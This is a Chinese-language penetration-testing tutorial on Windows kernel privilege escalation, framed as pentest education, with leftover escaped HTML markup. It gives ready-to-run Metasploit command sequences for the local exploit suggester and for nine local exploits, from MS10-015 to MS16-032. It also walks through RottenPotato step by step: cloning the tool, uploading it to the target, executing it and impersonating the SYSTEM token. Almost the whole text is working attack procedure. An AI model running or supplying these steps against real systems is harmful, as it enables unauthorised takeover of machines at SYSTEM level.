Windows内核提权技术详解<\/h1>

一、Windows提权概述<\/h2>
Windows内核提权是通过利用操作系统内核或系统组件中的漏洞，将当前用户权限提升至SYSTEM级别（NT AUTHORITY\SYSTEM）的技术。本文详细介绍了多种Windows内核提权方法，主要基于Metasploit框架中的模块实现。<\/p>

二、自动化漏洞检测<\/h2>

Local Exploit Suggester模块<\/h3>
Metasploit内置的local_exploit_suggester<\/code>模块可自动检测目标系统存在的可利用漏洞，根据架构、平台、会话类型推荐合适的exp。<\/p>
使用方法<\/strong>：<\/p>

获取meterpreter会话<\/li>
将当前会话放入后台（CTRL+Z）<\/li>
执行以下命令：<\/li>
<\/ol>
use post\/multi\/recon\/local_exploit_suggester
<\/span><\/span>set LHOST 192.168.1.107
<\/span><\/span>set SESSION 1<\/span>
<\/span><\/span>exploit
<\/span><\/span><\/code><\/pre>该模块会列出目标系统所有可用的本地提权漏洞。<\/p>
三、具体提权方法详解<\/h2>
1. MS15-051 ClientCopyImage Win32k漏洞<\/h3>
漏洞描述<\/strong>：

Win32k.sys内核模式驱动程序中存在不正确的对象处理漏洞。<\/p>
受影响系统<\/strong>：<\/p>

Windows 7 x86\/x64<\/li>
Windows Server 2008 R2 SP1 x64<\/li>
<\/ul>
利用方法<\/strong>：<\/p>
use exploit\/windows\/local\/ms15_051_client_copy_image
<\/span><\/span>set lhost 192.168.1.107
<\/span><\/span>set session 1<\/span>
<\/span><\/span>exploit
<\/span><\/span><\/code><\/pre>2. MS14-058 TrackPopupMenu Win32k空指针解引用<\/h3>
漏洞描述<\/strong>：

利用win32k.sys中的NULL Pointer Dereference漏洞，通过TrackPopupMenu触发。<\/p>
受影响系统<\/strong>：<\/p>

Windows XP SP3<\/li>
Windows Server 2003 SP2<\/li>
Windows 7 SP1<\/li>
Windows Server 2008 (32位)<\/li>
Windows Server 2008 R2 SP1 (64位)<\/li>
<\/ul>
利用方法<\/strong>：<\/p>
use exploit\/windows\/local\/ms14_058_track_popup_menu
<\/span><\/span>set lhost 192.168.1.107
<\/span><\/span>set session 1<\/span>
<\/span><\/span>exploit
<\/span><\/span><\/code><\/pre>3. MS10-015 KiTrap0D漏洞<\/h3>
漏洞描述<\/strong>：

通过KiTrap0D生成SYSTEM权限的新会话。<\/p>
限制<\/strong>：<\/p>

依赖kitrap0d.x86.dll<\/li>
不支持64位系统<\/li>
当前会话不能已是SYSTEM权限<\/li>
<\/ul>
受影响系统<\/strong>：<\/p>

Windows Server 2003<\/li>
Windows Server 2008<\/li>
Windows 7<\/li>
Windows XP (仅32位)<\/li>
<\/ul>
利用方法<\/strong>：<\/p>
use exploit\/windows\/local\/ms10_015_kitrap0d
<\/span><\/span>set lhost 192.168.1.107
<\/span><\/span>set session 1<\/span>
<\/span><\/span>exploit
<\/span><\/span><\/code><\/pre>4. MS10-092 任务计划程序XML提权<\/h3>
漏洞描述<\/strong>：

Windows任务计划程序中的漏洞可导致提权。<\/p>
限制<\/strong>：<\/p>

需要合法凭证和本地登录<\/li>
远程\/匿名用户无法利用<\/li>
<\/ul>
受影响系统<\/strong>：<\/p>

Windows Vista<\/li>
Windows 7<\/li>
Windows Server 2008 (x86\/x64)<\/li>
<\/ul>
利用方法<\/strong>：<\/p>
use exploit\/windows\/local\/ms10_092_schelevator
<\/span><\/span>set lhost 192.168.1.107
<\/span><\/span>set session 1<\/span>
<\/span><\/span>exploit
<\/span><\/span><\/code><\/pre>5. MS16-016 mrxdav.sys WebDav本地提权<\/h3>
漏洞描述<\/strong>：

利用mrxdav.sys中的漏洞提权。<\/p>
受影响系统<\/strong>：<\/p>

Windows 7 SP1 x86<\/li>
<\/ul>
利用方法<\/strong>：<\/p>
use exploit\/windows\/local\/ms16_016_webdav
<\/span><\/span>set lhost 192.168.1.107
<\/span><\/span>set session 1<\/span>
<\/span><\/span>exploit
<\/span><\/span><\/code><\/pre>6. EPATHOBJ::pprFlattenRec本地提权<\/h3>
漏洞描述<\/strong>：

EPATHOBJ::pprFlattenRec使用未初始化数据导致内存破坏。<\/p>
受影响系统<\/strong>：<\/p>

Windows XP SP3<\/li>
Windows 2003 SP1<\/li>
Windows 7 SP1<\/li>
<\/ul>
利用方法<\/strong>：<\/p>
use exploit\/windows\/local\/ppr_flatten_rec
<\/span><\/span>set lhost 192.168.1.107
<\/span><\/span>set session 1<\/span>
<\/span><\/span>exploit
<\/span><\/span><\/code><\/pre>7. MS13-053 NTUserMessageCall Win32k内核池溢出<\/h3>
漏洞描述<\/strong>：

Win32k中的内核池溢出导致本地提权，清除winlogon.exe进程的ACL。<\/p>
注意<\/strong>：<\/p>

退出meterpreter会话可能导致winlogon.exe崩溃<\/li>
2013年Pwn2Own大赛中用于攻破Chrome沙箱<\/li>
<\/ul>
受影响系统<\/strong>：<\/p>

Windows 7 SP1 x86<\/li>
<\/ul>
利用方法<\/strong>：<\/p>
use exploit\/windows\/local\/ms13_053_schlamperei
<\/span><\/span>set lhost 192.168.1.107
<\/span><\/span>set session 1<\/span>
<\/span><\/span>exploit
<\/span><\/span><\/code><\/pre>8. MS16-032 Secondary Logon Handle提权<\/h3>
漏洞描述<\/strong>：

利用Windows Secondary Logon服务中标准句柄清理功能的缺失。<\/p>
限制<\/strong>：<\/p>

需要PowerShell 2.0+<\/li>
仅对多CPU内核系统有效<\/li>
<\/ul>
受影响系统<\/strong>：<\/p>

Windows 7-10<\/li>
Windows Server 2008\/2012<\/li>
32位和64位系统<\/li>
<\/ul>
利用方法<\/strong>：<\/p>
use exploit\/windows\/local\/ms16_032_secondary_logon_handle_privesc
<\/span><\/span>set session 1<\/span>
<\/span><\/span>exploit
<\/span><\/span><\/code><\/pre>9. RottenPotato提权<\/h3>
漏洞描述<\/strong>：

从service账户提升到SYSTEM权限的本地提权方法。<\/p>
实施步骤<\/strong>：<\/p>

检查可用令牌：<\/li>
<\/ol>
load incognito
<\/span><\/span>list_tokens -u
<\/span><\/span><\/code><\/pre>
下载RottenPotato：<\/li>
<\/ol>
git clone https:\/\/github.com\/foxglovesec\/RottenPotato.git
<\/span><\/span>cd RottenPotato
<\/span><\/span><\/code><\/pre>
上传到目标：<\/li>
<\/ol>
upload \/root\/Desktop\/RottenPotato\/rottenpotato.exe
<\/span><\/span><\/code><\/pre>
执行提权：<\/li>
<\/ol>
execute -Hc -f rottenpotato.exe
<\/span><\/span>impersonate_token "NT AUTHORITY\\SYSTEM"<\/span>
<\/span><\/span><\/code><\/pre>四、总结<\/h2>
本文详细介绍了多种Windows内核提权技术，涵盖了从Windows XP到Windows 10\/Server 2012的多个版本。在实际渗透测试中，应根据目标系统版本选择合适的提权方法，并注意各方法的限制条件。自动化工具如local_exploit_suggester<\/code>可大大提高效率，但手动验证和选择exp仍是必要步骤。<\/p>